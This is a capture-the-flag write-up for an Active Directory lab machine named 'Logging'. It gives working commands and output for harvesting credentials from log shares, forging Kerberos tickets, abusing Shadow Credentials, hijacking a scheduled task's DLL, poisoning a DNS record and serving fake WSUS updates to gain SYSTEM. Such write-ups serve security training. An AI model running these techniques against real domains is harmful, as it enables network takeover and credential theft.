Overview

The machine starts by Simple enumeration that discovers share with leaked credentials in a log file, this account has generic write over one of the accounts so we perform Shadow attack and getting winrm to find a binary and hijack its dll to get user WSUS connection to subdomain so we poison dns record and get that connection to our fake WSUS to get shell as NT SYSTEM

Enumeration

lets start with our nmap enumeration

and we got some open ports and the machine is definitely an active directory machine it is an assumed breach box so we have creds for a user wallace.everette:Welcome2026@ so lets see what we can do using this user but first setup your environment generate krb5 file, edit your hosts file, sync your clock

shell
nxc smb 10.129.34.31 -u 'wallace.everette' -p 'Welcome2026@' --generate-krb5-file krb5.conf
mv krb5conf /etc/krb5.conf

echo '10.129.34.31  logging.htb dc01.logging.htb dc01' > /etc/hosts
sudo ntpdate logging.htb

and now we are all set so we'll run a full scan in the background while we are playing with this wallace user

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ nxc smb 10.129.34.31 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB 10.129.34.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.34.31 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@
SMB 10.129.34.31 445 DC01 [*] Enumerated shares
SMB 10.129.34.31 445 DC01 Share Permissions Remark
SMB 10.129.34.31 445 DC01 ----- ----------- ------
SMB 10.129.34.31 445 DC01 ADMIN$ Remote Admin
SMB 10.129.34.31 445 DC01 C$ Default share
SMB 10.129.34.31 445 DC01 IPC$ READ Remote IPC
SMB 10.129.34.31 445 DC01 Logs READ
SMB 10.129.34.31 445 DC01 NETLOGON READ Logon server share
SMB 10.129.34.31 445 DC01 SYSVOL READ Logon server share
SMB 10.129.34.31 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

and we got standard shares + 2 custom ones and we got Read on Logs share so lets see if we can find any kind of creds leaked in one of the log files

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ smbclient \\\\10.129.34.31\\Logs -U 'wallace.everette'
Password for [WORKGROUP\wallace.everette]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 16 16:10:09 2026
  ..                                  D        0  Thu Apr 16 16:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 16:10:09 2026
  IdentitySync_Trace_20260219.log      A     8488  Thu Apr 16 16:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 16:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 16:10:09 2026

smb: \> mget *
Get file Audit_Heartbeat.log? y
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (2.3 KiloBytes/sec) (average 2.3 KiloBytes/sec)
Get file IdentitySync_Trace_20260219.log? y
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (15.5 KiloBytes/sec) (average 8.8 KiloBytes/sec)
Get file Service_State.log? y
getting file \Service_State.log of size 468 as Service_State.log (1.1 KiloBytes/sec) (average 6.8 KiloBytes/sec)
Get file TaskMonitor.log? y
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (2.9 KiloBytes/sec) (average 5.9 KiloBytes/sec)

and we got 4 files so lets start inspecting them offline looking at this IdentitySync_Trace_20260219.log we get this

shell
[2026-02-09 03:00:03.110] [PID:4102] [Thread:04] TRACE - Initializing LdapConnection object...
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb" , Server: "DC01" , SSL: "False" , BindUser: "LOGGING\svc_recovery" ,
 BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
   at System.DirectoryServices.Protocols.LdapConnection.Bind(NetworkCredential credential)
   at logging.IdentitySync.Engine.LdapProvider.Connect()
   --- Server Error Details ---
   Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
   Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
   Win32 Error: 49 (Invalid Credentials)
   ----------------------------
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN - Connectivity failed for logging\svc_recovery. Checking alternate Domain Controller...
[2026-02-09 03:00:03.650] [PID:4102] [Thread:12] CRITICAL - Domain-wide LDAP bind failure. Task aborted.

Credential for the user svc_recovery with the password Em3rg3ncyPa$$2025 trying to bind to ldap so lets test these creds

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ nxc smb 10.129.34.31 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB 10.129.34.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.34.31 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION

usually when i see this STATUS_ACCOUNT_RESTICTION it is one of 3 things that might be in place either the account is disabled but this one isn't or the LogonHours is set to prevent this user login or the user is part of the Protected Users group which prevent its members from using any kind of NTLM authentication to protect them from any password theft attacks like PTH so lets see if this user is part of this group

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ bloodyAD -d logging.htb --dc-ip 10.129.34.31 -u 'wallace.everette' -p 'Welcome2026@' get object svc_recovery
distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 2026-04-19 14:55:59.964148+00:00
badPwdCount: 2
cn: svc_recovery
codePage: 0
countryCode: 0
dSCorePropagationData: 1601-01-01 00:00:00+00:00
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
logonCount: 0
memberOf: CN=Emergency Recovery,CN=Users,DC=logging,DC=htb; CN=Protected Users,CN=Users,DC=logging,DC=htb  

and as you can see he is part of this CN=Protected Users so we'll need to get a ticket first then use it to connect and do what we need to do now trying to get a ticket with this user with this creds will get us error as Pre-authentication failed cause if you noticed in the logs file the login attempt was rejected so we know that the password is wrong some where most likely at the 2025 part cause this is an emergency password and the first password was something 2026 (wild guess)

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ sudo ntpdate 10.129.34.31; getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2025' -dc-ip 10.129.34.31
2026-04-19 08:04:50.662443 (-0700) +0.000580 +/- 0.034984 10.129.34.31 s1 no-leap
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)

and as you can see it failed but if we used 2026 instead of 25 it'll succeed

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ sudo ntpdate 10.129.34.31; getTGT.py 'logging.htb/svc_recovery:Em3rg3ncyPa$$2026' -dc-ip 10.129.34.31
2026-04-19 08:05:11.039303 (-0700) +0.000851 +/- 0.035112 10.129.34.31 s1 no-leap
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_recovery.ccache

and just to to confirm our initial explanation on why NTLM authentication won't work lets test the valid creds again

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ nxc smb 10.129.34.31 -u 'svc_recovery' -p 'Em3rg3ncyPa$$2026'
SMB 10.129.34.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.34.31 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 STATUS_ACCOUNT_RESTRICTION

and as you can see we were right now we have a ticket that we can use so lets see what we can do using this user

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ KRB5CCNAME=svc_recovery.ccache rusthound -d logging.htb -u 'svc_recovery' -k -f dc01.logging.htb -z
< SNIP>
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 14 users parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 65 groups parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 1 computers parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 1 ous parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 1 domains parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 2 gpos parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] 21 containers parsed!
[2026-04-19T15:10:59Z INFO  rusthound::json::maker] .//20260419081059_logging-htb_rusthound.zip created!
RustHound Enumeration Completed at 08:10:59 on 04/19/26! Happy Graphing!

Foothold

so if we opened this data in bloodhound we'll see that this user have Generic Write over an account called msa_health$ Pasted image 20260419123504.png having Generic Write makes things easy for us GenericWrite means you have write access to non-protected attributes of an AD object and we can modify certain properties of that object even if you don't own it one of those attributes is msDS-KeyCredentialLink and this attribute stores public key credentials for an account it's the backend for Windows Hello for Business and PKINIT (Kerberos pre-auth via certificate) so we can write our own keypair's public key into the victim's msDS-KeyCredentialLink then we'll authenticate as the victim using your private key via PKINIT

first lets generate keypair and write the public one into the msa_health msDS-KeyCrednetialLink attribute

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ KRB5CCNAME=svc_recovery.ccache pywhisker -d logging.htb -u svc_recovery -k --dc-ip 10.129.34.31 --no-pass --target 'msa_health$' --action add
[*] Searching for the target account
[*] Target user found: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: acf16a0e-7bc0-e4ee-e0fd-c56d71514952
[*] Updating the msDS-KeyCredentialLink attribute of msa_health$
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: exsgk0om.pfx
/home/jimmex/.local/share/pipx/venvs/pywhisker/lib/python3.13/site-packages/pywhisker/pywhisker.py:54: CryptographyDeprecationWarning: Parsed a serial number which wasn't positive (i.e., it was negative or zero), which is disallowed by RFC 5280. Loading this certificate will cause an exception in a future release of cryptography.
  cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend())
[+] PFX exportiert nach: exsgk0om.pfx
[i] Passwort für PFX: QGJviG2cVp2AtNMilGWt
[+] Saved PFX (#PKCS12) certificate & key at path: exsgk0om.pfx
[*] Must be used with password: QGJviG2cVp2AtNMilGWt
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

and that got the pfx file for us and the pfx password then we'll get a TGT from that pfx using PKInitTool

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ python3 /opt/PKINITtools/gettgtpkinit.py logging.htb/'msa_health$' -cert-pfx exsgk0om.pfx -pfx-pass 'QGJviG2cVp2AtNMilGWt' msa_health.ccache
2026-04-19 08:33:23,771 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2026-04-19 08:33:23,826 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2026-04-19 08:33:24,181 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2026-04-19 08:33:24,181 minikerberos INFO     72d224a65a3fb81ec7cc667b8de0cbcd1391a3d131ce1a51a260ef9a8687f19c
INFO:minikerberos:72d224a65a3fb81ec7cc667b8de0cbcd1391a3d131ce1a51a260ef9a8687f19c
2026-04-19 08:33:24,185 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file

then we can extract the NT hash using the TGT, and the extracted encryption key above by doing UnPAC for the hash

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ export KRB5CCNAME=msa_health.ccache
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ python3 /opt/PKINITtools/getnthash.py logging.htb/'msa_health$' -key 72d224a65a3fb81ec7cc667b8de0cbcd1391a3d131ce1a51a260ef9a8687f19c
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
603fc24ee01a9409f83c9d1d701485c5

and we got the hash, this user is part of Remote Management so we can evil-winrm using that account Pasted image 20260419103841.png

Lateral movement to jaylee.clifton

and we find a file called monitor.ps1 so lets take a look at it

and it monitors a scheduled task so lets look what does this scheduled task do

shell
*Evil-WinRM* PS C:\Users\msa_health$\Documents> $service = New-Object -ComObject "Schedule.Service"
*Evil-WinRM* PS C:\Users\msa_health$\Documents> $service.Connect()
*Evil-WinRM* PS C:\Users\msa_health$\Documents> $task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
*Evil-WinRM* PS C:\Users\msa_health$\Documents> $task.Definition.Actions | ForEach-Object { $_.Path; $_.Arguments }
"C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
500 /scan=3 /autofix=true

and it runs this UpdateMonitor.exe so lets download this file and see what it does using dnsPY and by looking at the source code

it looks for this file C:\ProgramData\UpdateMonitor\Settings_Update.zip and if it exists it unzips it to C:\Program Files\UpdateMonitor\bin\settings_update.dll then it then it loads this DLL file so what we'll look for now if we got Write Access on that C:\ProgramData\UpdateMonitor\Settings_Update.zip we can zip a malicious DLL there to get a shell

shell
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> icacls .
. NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  BUILTIN\Administrators:(I)(OI)(CI)(F)
  CREATOR OWNER:(I)(OI)(CI)(IO)(F)
  BUILTIN\Users:(I)(OI)(CI)(RX)
  BUILTIN\Users:(I)(CI)(WD,AD,WEA,WA)

Successfully processed 1 files; Failed processing 0 files

and we can see that users have WD write data in that directory so lets create a malicious zip just before doing that if we looked at the executable part we'll find this

csharp
// C:\Users\Gamel\Documents\scp\UpdateMonitor.exe  
// UpdateMonitor.exe  
  
// Global type: <Module>  
// Entry point: UpdateMonitor.Program.Main  
// Architecture: AnyCPU (32-bit preferred)  
// Runtime: .NET Framework 4.7.2  
// Timestamp: <Unknown> (86CE179A)  
  
using System;

which tells us it prefers 32-bit even though the processor is 64-bit architecture the app prefers 32-bit and if we tried to use 64-bit with it it'll return error code 129 i guess with that being said generate payload, zip it, upload it in the directory and wait for the scheduled task to run Pasted image 20260419110619.png and we got a shell as jaylee.clifton and we got to read the users.txt

Shell as Administrator

earlier we did some --shares we found a share called WSUSTemp which is weird but what's weirder is that i found two ports on my full scan that stand out to me 8530, 8531 which is for WSUS ==Windows Server Update Services== (WSUS) is a Microsoft server role that enables centralized management and distribution of updates, patches, and hotfixes for Windows operating systems and Microsoft products within a network. which btw was deprecated in 2024 and here is why Iam bringing this cause when I am doing enumeration after getting a shell i found this ticket in the users Document folder Pasted image 20260419111401.png and it tells that there is an endpoint called wsus.logging.htb and there is a task scheduled on loop every 120s that restarts the agent and syncs using WSUS so if we can write dns record on the target to point this wsus.logging.htb to our IP and get a fake WSUS server on our IP that serves a malicious exe file we'll get a shell back but we need to know two things

  1. does it use 8530 or 8531 (over TLS or not), if without TLS it will be so much easier but if it uses TLS we'll have to do some extra steps
  2. which user can write DNS record

so lets start from the biggening user the given user and get writable objects

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ bloodyAD -d logging.htb --dc-ip 10.129.34.31 -u 'wallace.everette' -p 'Welcome2026@' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=logging,DC=htb
permission: WRITE

distinguishedName: CN=wallace.everette,CN=Users,DC=logging,DC=htb
permission: WRITE

distinguishedName: DC=logging.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD

distinguishedName: DC=_msdcs.logging.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=logging,DC=htb
permission: CREATE_CHILD

and this can create child on the DNS so it can write records so lets create record pointing to us

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ python3 /opt/krbrelayx/dnstool.py -u 'LOGGING.HTB\wallace.everette' -p 'Welcome2026@' --zone logging.htb -dc-ip 10.129.34.31 -r wsus.logging.htb --action add -t A -d 10.10.17.176 10.129.34.31
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

we'll wait a couple of minutes and look it up and see if it worked

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ nslookup wsus.logging.htb 10.129.34.31
Server: 10.129.34.31
Address: 10.129.34.31#53

Name: wsus.logging.htb
Address: 10.10.17.176

the record got added so lets look at the WSUS service configuration

shell
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate"
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
    WUServer REG_SZ https://wsus.logging.htb:8531
    AcceptTrustedPublisherCerts REG_DWORD 0x1
    SetProxyBehaviorForUpdateDetection REG_DWORD 0x0
    WUStatusServer REG_SZ https://wsus.logging.htb:8531
    UpdateServiceUrlAlternate REG_SZ https://wsus.logging.htb:8531

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

and it runs over TLS meaning any self-signed certificate our fake WSUS server issue will be rejected and we need to have an actual certificate so lets take a look what we can enroll ourselves into Pasted image 20260419123623.png

and we can enroll ourselves into UpdateSrv cause we are part of the IT group so there is two ways to do this either get Rubeus on our powershell and extract the ticket and use it with certipy from attacker machine or we just upload Certify.exe and request a ticket directly but we need to make sure that the certificate is issued to the subject CN=wsus.logging.htb otherwise it'll be rejected also so lets upload Certipy and get a certificate

and so we'll copy this cert.pem to our machine and use it with the fake WSUS server and for that fake server we'll use wsuks we could use pywsus but it doesn't support TLS and we'd need to use it with stunnel which isn't comfortable setup and complex so there is no need for it if we don't have to (if you have to do it make sure to get root.ca certificate and add it at the end of the cert.pem for the stunnel to work efficiently)

any way wsuks works in two mode either in spoofing or --serve-only which will just listen and respond and we'll use that after that it'll need a command from us to execute easiest way is to add a user to the local administrator group but there is some other way we can get to later

it'll show you error but it worked so lets test it

shell
┌─[]─[10.10.17.176]─[jimmex@attacker]─[~/htb/labs/logging]
└──╼ [★]$ nxc smb logging.htb -u 'hacker' -p 'Password123!'
SMB 10.129.34.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.34.31 445 DC01 [+] logging.htb\hacker:Password123! (Pwn3d!)

and we got Administrator Pasted image 20260419115033.png other way is to get a back using a listener Pasted image 20260419115915.png

Attack Chain

Mind Map.jpg

Play around

after getting the box try to change the reg to configure it to run on 8530 instead of TLS and try to get a shell without cert.pem just incase you were put in a position where you can edit registry but you can't get a certificate or maybe there is no CA on the environment

resources